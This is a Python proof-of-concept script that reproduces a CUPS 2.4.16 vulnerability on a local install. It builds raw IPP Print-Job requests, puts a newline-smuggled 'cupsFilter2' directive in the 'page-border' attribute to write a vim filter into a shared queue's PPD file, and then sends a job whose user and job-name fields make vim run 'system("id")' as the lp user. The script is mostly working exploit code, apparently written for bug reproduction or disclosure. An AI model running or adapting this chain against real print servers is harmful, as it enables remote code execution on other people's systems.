#!/usr/bin/env python3
from __future__ import annotations

import http.client
import os
import signal
import struct
import subprocess
import time
from pathlib import Path

PREFIX = Path("/usr/local/cups-2.4.16")
WORK = Path("/tmp/f001-repro")
QUEUE = "psclean"
SINK_PORT = 9101
OWNED = PREFIX / "var/spool/cups/tmp/owned.txt"
PPD = PREFIX / f"etc/cups/ppd/{QUEUE}.ppd"
LOG = PREFIX / "var/log/cups/error_log"
CUPSD = PREFIX / "sbin/cupsd"
LPADMIN = PREFIX / "sbin/lpadmin"
SINK_PID = WORK / "sink.pid"

TAG_OPERATION = 0x01
TAG_JOB = 0x02
TAG_END = 0x03
TAG_CHARSET = 0x47
TAG_LANGUAGE = 0x48
TAG_URI = 0x45
TAG_NAME = 0x42
TAG_TEXT = 0x41
TAG_MIMETYPE = 0x49
OP_PRINT_JOB = 0x0002


def print_breaker(title: str) -> None:
    print(f"*** {title} ***".upper())


def run(cmd: list[str], *, check: bool = True) -> subprocess.CompletedProcess[str]:
    proc = subprocess.run(cmd, text=True, capture_output=True)
    if proc.stdout:
        print(proc.stdout, end="")
    if proc.stderr:
        print(proc.stderr, end="")
    if check and proc.returncode != 0:
        raise SystemExit(f"command failed: {' '.join(cmd)}")
    return proc


def require_root() -> None:
    if os.geteuid() != 0:
        raise SystemExit("run as root: sudo python3 F001-repro.py")


def require_install() -> None:
    if not CUPSD.exists():
        raise SystemExit(f"missing CUPS install at {CUPSD}")
    if not Path("/usr/bin/ncat").exists():
        raise SystemExit("missing /usr/bin/ncat")


def attr(tag: int, name: str, value: bytes) -> bytes:
    name_bytes = name.encode("utf-8")
    return (
        bytes([tag])
        + struct.pack(">H", len(name_bytes))
        + name_bytes
        + struct.pack(">H", len(value))
        + value
    )


def submit_print_job(
    *,
    request_id: int,
    user: str,
    job_name: str,
    document_format: str,
    document: bytes,
    page_border: str | None = None,
) -> None:
    body = bytearray(struct.pack(">BBHI", 1, 1, OP_PRINT_JOB, request_id))
    body += bytes([TAG_OPERATION])
    body += attr(TAG_CHARSET, "attributes-charset", b"utf-8")
    body += attr(TAG_LANGUAGE, "attributes-natural-language", b"en")
    body += attr(TAG_URI, "printer-uri", f"ipp://127.0.0.1:631/printers/{QUEUE}".encode("utf-8"))
    body += attr(TAG_NAME, "requesting-user-name", user.encode("utf-8"))
    body += attr(TAG_NAME, "job-name", job_name.encode("utf-8"))
    body += attr(TAG_MIMETYPE, "document-format", document_format.encode("utf-8"))
    if page_border is not None:
        body += bytes([TAG_JOB])
        body += attr(TAG_TEXT, "page-border", page_border.encode("utf-8"))
    body += bytes([TAG_END])
    body += document

    conn = http.client.HTTPConnection("127.0.0.1", 631, timeout=10)
    conn.request(
        "POST",
        f"/printers/{QUEUE}",
        body=body,
        headers={"Content-Type": "application/ipp"},
    )
    response = conn.getresponse()
    payload = response.read()
    print(f"HTTP {response.status} {response.reason} body_len={len(payload)}")
    if response.status != 200:
        raise SystemExit("IPP request failed")


def read_text(path: Path) -> str:
    if not path.exists():
        return ""
    return path.read_text(encoding="utf-8", errors="replace")


def show_matches(title: str, text: str, needles: tuple[str, ...]) -> None:
    print_breaker(title)
    matched = [line for line in text.splitlines() if any(needle in line for needle in needles)]
    if matched:
        print("\n".join(matched))
    else:
        print("(no matches)")


def reset_state() -> subprocess.Popen[str]:
    print_breaker("RESET CUPS AND QUEUE")
    run(["rm", "-rf", str(WORK)])
    run(["mkdir", "-p", str(WORK)])
    run(["systemctl", "stop", "cups.service", "cups.socket"], check=False)
    run(["pkill", "-9", "-x", "cupsd"], check=False)
    run(["pkill", "-9", "-x", "ncat"], check=False)
    time.sleep(1)

    conf = PREFIX / "etc/cups/cupsd.conf"
    conf_text = conf.read_text(encoding="utf-8")
    if "LogLevel debug2" not in conf_text:
        conf_text = conf_text.replace("LogLevel warn", "LogLevel debug2")
    conf.write_text(conf_text, encoding="utf-8")

    run(["rm", "-f", str(PREFIX / "etc/cups/printers.conf"), str(PREFIX / "etc/cups/printers.conf.O")], check=False)
    run(["bash", "-lc", f"rm -f {PREFIX}/etc/cups/ppd/*.ppd {PREFIX}/etc/cups/ppd/*.ppd.O"], check=False)
    run(["rm", "-f", str(LOG), str(PREFIX / "var/log/cups/error_log.O"), str(OWNED)], check=False)
    run(["bash", "-lc", f"rm -f {PREFIX}/var/spool/cups/tmp/* {PREFIX}/var/spool/cups/c* {PREFIX}/var/spool/cups/d*"], check=False)

    run(
        [
            "bash",
            "-lc",
            f"nohup /usr/bin/ncat -lk 127.0.0.1 {SINK_PORT} >/dev/null 2>&1 & echo $! > {SINK_PID}",
        ]
    )
    time.sleep(1)

    cupsd_proc = subprocess.Popen(
        [str(CUPSD), "-f"],
        stdout=subprocess.DEVNULL,
        stderr=subprocess.DEVNULL,
        text=True,
    )
    time.sleep(2)

    run(
        [
            str(LPADMIN),
            "-p",
            QUEUE,
            "-E",
            "-v",
            f"socket://127.0.0.1:{SINK_PORT}",
            "-m",
            "drv:///sample.drv/generic.ppd",
            "-o",
            "printer-is-shared=true",
        ]
    )
    time.sleep(2)
    if not PPD.exists():
        raise SystemExit(f"missing queue PPD: {PPD}")
    return cupsd_proc


def baseline(document: bytes) -> None:
    print_breaker("BASELINE")
    LOG.write_text("", encoding="utf-8")
    submit_print_job(
        request_id=501,
        user="attacker",
        job_name="baseline",
        document_format="application/postscript",
        document=document,
    )
    time.sleep(4)
    ppd_text = read_text(PPD)
    log_text = read_text(LOG)
    show_matches("BASELINE PPD", ppd_text, ("*cupsFilter", "*cupsFilter2", "*NickName:"))
    show_matches("BASELINE LOG", log_text, ("Started filter", "/usr/bin/vim", "page-border", "PPD:"))
    if "/usr/bin/vim" in log_text:
        raise SystemExit("baseline unexpectedly started vim")
    if OWNED.exists():
        raise SystemExit("baseline unexpectedly produced owned file")
    print("baseline: no injected cupsFilter2 line")
    print("baseline: no vim filter started")
    print("baseline: no owned file created")


def poison(document: bytes) -> None:
    print_breaker("POISON")
    LOG.write_text("", encoding="utf-8")
    submit_print_job(
        request_id=502,
        user="attacker",
        job_name="poison",
        document_format="application/postscript",
        document=document,
        page_border='bad\nPPD: cupsFilter2="application/vnd.cups-raw application/octet-stream -100 /usr/bin/vim"\nX',
    )
    time.sleep(5)
    ppd_text = read_text(PPD)
    log_text = read_text(LOG)
    show_matches("POISON LOG", log_text, ("page-border", "PPD: cupsFilter2", "Started filter"))
    show_matches("POISON PPD", ppd_text, ("*cupsFilter", "*cupsFilter2", "*NickName:"))
    marker = '*cupsFilter2: application/vnd.cups-raw application/octet-stream -100 /usr/bin/vim'
    if marker not in ppd_text:
        raise SystemExit("poison did not inject vim filter")
    print("poison: injected cupsFilter2 line present in psclean.ppd")


def trigger(document: bytes) -> None:
    print_breaker("TRIGGER")
    LOG.write_text("", encoding="utf-8")
    submit_print_job(
        request_id=503,
        user="-es",
        job_name=f'-ccall writefile([system("id")],"{OWNED}")|qa!',
        document_format="application/vnd.cups-raw",
        document=document,
    )
    time.sleep(5)
    log_text = read_text(LOG)
    owned_text = read_text(OWNED).replace("\x00", "")
    show_matches("TRIGGER LOG", log_text, ("Started filter /usr/bin/vim", "argv[11]", "argv[12]", "argv[13]", "argv[14]"))
    print_breaker("OWNED FILE")
    print(owned_text if owned_text else "(missing)")
    if not OWNED.exists():
        raise SystemExit("trigger did not create owned file")
    if "Started filter /usr/bin/vim" not in log_text:
        raise SystemExit("trigger did not start vim filter")
    if "(lp)" not in owned_text:
        raise SystemExit("owned file does not show lp execution")
    print("trigger: vim filter started")
    print("trigger: owned file shows lp execution")


def cleanup(cupsd_proc: subprocess.Popen[str]) -> None:
    if SINK_PID.exists():
        sink_pid = int(SINK_PID.read_text(encoding="utf-8").strip())
        try:
            os.kill(sink_pid, signal.SIGTERM)
        except ProcessLookupError:
            pass
    if cupsd_proc.poll() is None:
        cupsd_proc.terminate()
        try:
            cupsd_proc.wait(timeout=3)
        except subprocess.TimeoutExpired:
            cupsd_proc.kill()


def main() -> int:
    require_root()
    require_install()

    postscript = b"%!PS\n/Courier findfont 12 scalefont setfont\n72 720 moveto\n(hello) show\nshowpage\n"
    raw_document = b"RAW\n"

    cupsd_proc = reset_state()
    try:
        baseline(postscript)
        poison(postscript)
        trigger(raw_document)
        print_breaker("RESULT")
        print("reproduced shared-queue ppd injection to lp code execution")
        return 0
    finally:
        cleanup(cupsd_proc)


if __name__ == "__main__":
    raise SystemExit(main())